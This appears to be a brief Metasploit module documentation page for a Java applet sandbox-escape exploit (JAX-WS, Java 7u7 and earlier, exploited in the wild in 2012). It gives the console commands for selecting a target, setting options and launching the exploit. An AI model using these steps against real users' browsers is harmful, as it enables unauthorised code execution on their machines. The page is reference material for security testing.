This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.
Java,Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/browser/java_jre17_jaxws
msf exploit(java_jre17_jaxws) > show targets
...targets...
msf exploit(java_jre17_jaxws) > set TARGET < target-id >
msf exploit(java_jre17_jaxws) > show options
...show and set options...
msf exploit(java_jre17_jaxws) > exploit
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